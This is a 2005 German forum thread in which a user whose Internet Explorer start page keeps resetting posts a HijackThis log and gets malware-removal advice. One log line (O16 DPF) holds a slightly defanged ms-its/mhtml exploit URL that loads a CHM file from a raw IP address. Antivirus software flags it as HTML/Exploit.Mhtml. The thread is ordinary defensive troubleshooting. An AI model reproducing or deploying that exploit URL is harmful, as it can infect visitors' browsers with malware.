keine Startseite möglich

Dieses Thema keine Startseite möglich im Forum "Viren, Trojaner, Spyware etc." wurde erstellt von brummibaer, 3. Jan. 2005.

Thema: keine Startseite möglich Hallo Leute, ich habe nach einem Format C: vor 2 Wochen seit vorgestern folgendes Problem: Meine ursprüngliche...

  1. Hallo Leute,

    ich habe nach einem Format C: vor 2 Wochen seit vorgestern folgendes Problem: Meine ursprüngliche Startseite web.de ist verschwunden, stattdessen steht dort about:blank, und wenn ich die Adresse unter Internetoptionen in der Systemsteuerung eintragen und übernehmen möchte, ist sie gleich wieder weg. Mit Hijackerprogrammen habe ich es schon geprüft - daran scheint es nicht zu liegen. Ich verwende IE 6 und Windows XP HE. Habt Ihr eine Idee, woran es liegen könnte? Ich wäre Euch dankebar, weil ich das schon etwas lästig finde. Tschüß aus dem hohen Norden, Thomas
     
  2. direkt eine idee hab ich nicht,
    aber besorg dir doch versuchsweise mal den FIREFOX und schau ob es da geht

    Hast du auf deinem Computer volle administrative Rechte? oder bist du evtl. eingeschränkt? (daran dürfte es aber nicht liegen)
     
  3. Poste mal dein Log von HijackThis, die Aussage: Daran scheint es nicht zu liegen ist ja nicht so wirklich gehaltvoll, denn Ausschließen kannst du es ja wohl nicht.
     
  4. Ok, hier habe ich mein Logfile von HiJack This. Ich habe auch schon versucht die Startseite per Regedit in
    HKCU\Software\Microsoft\Internet Explorer\Main,Local Page einzufügen, aber die wird immer gleich wieder auf leere Seite abgeändert, wenn ich Regedit schließe.

    Logfile of HijackThis v1.98.2
    Scan saved at 15:19:26, on 03.01.2005
    Platform: Windows XP SP1 (WinNT 5.01.2600)
    MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

    Running processes:
    C:\WINDOWS\System32\smss.exe
    C:\WINDOWS\system32\csrss.exe
    C:\WINDOWS\system32\winlogon.exe
    C:\WINDOWS\system32\services.exe
    C:\WINDOWS\system32\lsass.exe
    C:\WINDOWS\system32\svchost.exe
    C:\WINDOWS\System32\svchost.exe
    C:\Programme\Ahead\InCD\InCDsrv.exe
    C:\WINDOWS\System32\svchost.exe
    C:\WINDOWS\System32\svchost.exe
    C:\WINDOWS\system32\spoolsv.exe
    C:\WINDOWS\Explorer.EXE
    C:\WINDOWS\System32\RunDll32.exe
    C:\Programme\Ahead\InCD\InCD.exe
    C:\WINDOWS\System32\NILaunch.exe
    C:\Programme\Java\jre1.5.0\bin\jusched.exe
    D:\Prog\System\ZoneAlarm\zlclient.exe
    C:\Programme\Gemeinsame Dateien\Real\Update_OB\realsched.exe
    D:\Prog\System\AVPersonal\AVGNT.EXE
    D:\prog\system\iISystem Wiper\SystemWiper.exe
    D:\Prog\Internet\NoPopUp 2001\nopopup.exe
    D:\Prog\System\AVPersonal\AVGUARD.EXE
    D:\Prog\System\AVPersonal\AVWUPSRV.EXE
    C:\WINDOWS\System32\nvsvc32.exe
    C:\WINDOWS\System32\SLEE503.exe
    C:\WINDOWS\System32\svchost.exe
    C:\WINDOWS\System32\wdfmgr.exe
    C:\WINDOWS\system32\ZoneLabs\vsmon.exe
    C:\WINDOWS\explorer.exe
    D:\Prog\System\IOPUSF~1\flatrate.exe
    C:\Programme\Outlook Express\msimn.exe
    D:\Prog\System\hijack this\HijackThis.exe

    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page =
    R3 - URLSearchHook: ICQ  Toolbar - {855F3B16-6D32-4fe6-8A56-BBB695989046} - C:\Programme\ICQToolbar\toolbaru.dll
    O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - D:\prog\text\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll
    O2 - BHO: IE PopUp-Killer ; Neikeisoft - {49E0E0F0-5C30-11D4-945D-000000000003} - D:\Prog\System\ASHAMP~1\PopUp.dll
    O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - d:\prog\system\Spybot - Search & Destroy\SDHelper.dll
    O2 - BHO: IeCatch2 Class - {A5366673-E8CA-11D3-9CD9-0090271D075B} - D:\Prog\Internet\FlashGet\jccatch.dll
    O3 - Toolbar: Copernic Agent - {F2E259E8-0FC8-438C-A6E0-342DD80FA53E} - D:\Prog\Internet\Copernic Agent\CopernicAgentExt.dll
    O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
    O3 - Toolbar: ICQ  Toolbar - {855F3B16-6D32-4fe6-8A56-BBB695989046} - C:\Programme\ICQToolbar\toolbaru.dll
    O4 - HKLM\..\Run: [Cmaudio] RunDll32 cmicnfg.cpl,CMICtrlWnd
    O4 - HKLM\..\Run: [FreePDF Assistant] C:\Programme\FreePDF_XP\fpassist.exe
    O4 - HKLM\..\Run: [InCD] C:\Programme\Ahead\InCD\InCD.exe
    O4 - HKLM\..\Run: [NeroFilterCheck] C:\WINDOWS\system32\NeroCheck.exe
    O4 - HKLM\..\Run: [Net-It Launcher] C:\WINDOWS\System32\NILaunch.exe
    O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE C:\WINDOWS\System32\NvCpl.dll,NvStartup
    O4 - HKLM\..\Run: [nwiz] nwiz.exe /install
    O4 - HKLM\..\Run: [SunJavaUpdateSched] C:\Programme\Java\jre1.5.0\bin\jusched.exe
    O4 - HKLM\..\Run: [Zone Labs Client] D:\Prog\System\ZoneAlarm\zlclient.exe
    O4 - HKLM\..\Run: [TkBellExe] C:\Programme\Gemeinsame Dateien\Real\Update_OB\realsched.exe -osboot
    O4 - HKLM\..\Run: [AVGCtrl] D:\Prog\System\AVPersonal\AVGNT.EXE /min
    O4 - HKCU\..\Run: [iIWiper] d:\prog\system\iISystem Wiper\SystemWiper.exe m
    O4 - HKCU\..\Run: [NoPopUp] D:\Prog\Internet\NoPopUp 2001\nopopup.exe /autorun
    O4 - Startup: FlatrateSteckdose.lnk = D:\Prog\System\iOpus Flatrate Steckdose\flatrate.exe
    O4 - Global Startup: Microsoft Office.lnk = D:\Prog\Microsoft Office\Office\OSA9.EXE
    O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present
    O8 - Extra context menu item: &Add animation to IncrediMail Style Box - D:\Prog\Internet\INCRED~1\bin\resources\WebMenuImg.htm
    O8 - Extra context menu item: &ICQ Toolbar Search - res://C:\Programme\ICQToolbar\toolbaru.dll/SEARCH.HTML
    O8 - Extra context menu item: Alles mit FlashGet laden - D:\Prog\Internet\FlashGet\jc_all.htm
    O8 - Extra context menu item: Mit FlashGet laden - D:\Prog\Internet\FlashGet\jc_link.htm
    O8 - Extra context menu item: Suchen mit Copernic Agent - D:\Prog\Internet\Copernic Agent\Web\SearchExt.htm
    O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Programme\Java\jre1.5.0\bin\npjpi150.dll
    O9 - Extra->Tools' menuitem: Sun Java Konsole - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Programme\Java\jre1.5.0\bin\npjpi150.dll
    O9 - Extra button: (no name) - {193B17B0-7C9F-4D5B-AEAB-8D3605EFC084} - D:\Prog\Internet\COPERN~1\COPERN~1.EXE
    O9 - Extra->Tools' menuitem: Starten von Copernic Agent - {193B17B0-7C9F-4D5B-AEAB-8D3605EFC084} - D:\Prog\Internet\COPERN~1\COPERN~1.EXE
    O9 - Extra button: ICQ Pro - {6224f700-cba3-4071-b251-47cb894244cd} - D:\Prog\Internet\ICQ2002b\ICQ.exe
    O9 - Extra->Tools' menuitem: ICQ - {6224f700-cba3-4071-b251-47cb894244cd} - D:\Prog\Internet\ICQ2002b\ICQ.exe
    O9 - Extra button: Copernic Agent - {688DC797-DC11-46A7-9F1B-445F4F58CE6E} - D:\Prog\Internet\COPERN~1\COPERN~1.EXE
    O9 - Extra button: concept/design's onlineTV - {708F2161-08ED-463E-A366-77F68CEF6D83} - d:\PROG\INTERNET\onlineTV\onlineTV.exe
    O9 - Extra button: Girafa - {78A7D3B4-23E3-11D4-A682-0050DA502650} - d:\prog\internet\Girafa\GirafaBar.dll
    O9 - Extra button: ICQ 4 - {B863453A-26C3-4e1f-A54D-A2CD196348E9} - C:\Programme\ICQLite\ICQLite.exe
    O9 - Extra->Tools' menuitem: ICQ Lite - {B863453A-26C3-4e1f-A54D-A2CD196348E9} - C:\Programme\ICQLite\ICQLite.exe
    O9 - Extra button: FlashGet - {D6E814A0-E0C5-11d4-8D29-0050BA6940E3} - D:\Prog\Internet\FlashGet\JetCar.exe
    O9 - Extra->Tools' menuitem: &FlashGet - {D6E814A0-E0C5-11d4-8D29-0050BA6940E3} - D:\Prog\Internet\FlashGet\JetCar.exe
    O9 - Extra button: Yahoo! Messenger - {E5D12C4E-7B4F-11D3-B5C9-0050045C3C96} - D:\Prog\Internet\Yahoo!\MESSEN~1\YPager.exe
    O9 - Extra->Tools' menuitem: Yahoo! Messenger - {E5D12C4E-7B4F-11D3-B5C9-0050045C3C96} - D:\Prog\Internet\Yahoo!\MESSEN~1\YPager.exe
    O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Programme\Messenger\MSMSGS.EXE
    O9 - Extra->Tools' menuitem: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Programme\Messenger\MSMSGS.EXE
    O12 - Plugin for .mid: C:\Programme\Internet Explorer\PLUGINS\npqtplugin2.dll
    O12 - Plugin for .wav: C:\Programme\Internet Explorer\PLUGINS\npqtplugin.dll
    O16 - DPF: {11212111-2121-1311-1141-115611111222} - ms-its:m html:file://d: oo.mht!http://69.50.166.212/counter/new/x.chm::/up
     
  5. Schau Dir mal den Link über about_blank an, vermutlich hast Du doch einen Troyaner eingefangen.

    http://www.trojaner-info.de/anleitungen/hijackthis/about_blank.html

    N.b. Ich hoffe dass das entfernen mit der Anleitung noch funktioniert da der Vorgang nicht mehr der neuste ist, vor 2 Monate hat es damit noch funktioniert.

    Mfg. Walter

    :-\
     
  6. Was macht das?

    Bitte fixen!

    Bye,
    Freudi
     
  7. C:\DOKUMENTE UND EINSTELLUNGEN\*Benutzername*\LOKALE EINSTELLUNGEN\TEMPORARY INTERNET FILES\CONTENT.IE5\ZIZDP9ZF\TOPIC,59335.0[2].HTML

    Enthält Signatur des HTML-Scriptvirus HTML/Exploit.Mhtml

    Diese Meldung erhalte ich übrigens, wenn ich auf diesen Beitrag im Forum klicke...
    habe auf diesem Computer allerdings erst paarmal ordentlich aufräumen müssen und einige unerwünschte Progrämmchen entfernt. Werde diesen Computer demnächst wohl neu machen müssen ;-)

    Kommt diese Meldung jetzt, weil in diesem Beitrag gewisse Signalwörter sind? Oder ist der Beitrag verseucht? Oder bin ich verseucht *g*

    Auf diesem Rechenr müsste die neuste Version von AV sein. (Windows pro, SP2 neuester Stand)
     
  8. Diese Meldung kommt von AntiVir, weil der IE durch einen bestimmten Eintrag des Logfiles verwundbar ist, jedenfalls wenns als Quellcode in der Seite stehen würde. Ich hab mal ein Leerzeichen reineditiert, die Meldung sollte also nicht mehr kommen.
    Der Eintrag, der gemeint ist, ist der folgende: O16 - DPF: {11212111-2121-1311-1141-115611111222} - ms-its:m html:file://d: oo.mht!http://69.50.166.212/counter/new/x.chm::/up
     
Die Seite wird geladen...

keine Startseite möglich - Ähnliche Themen

Forum Datum
Keine Taskleiste, eingeschränkter Zugriff Windows Vista Forum 24. Sep. 2016
keine Windows update möglich Windows 8 Forum 23. Aug. 2016
Nach Update "keine Anmeldung beim Konto möglich" Windows 10 Forum 11. Aug. 2016
Keine Google Abstrafung bekommen Software: Empfehlungen, Gesuche & Problemlösungen 8. Aug. 2016
Habe keine Freigabe mehr??? Netzwerk 25. Juli 2016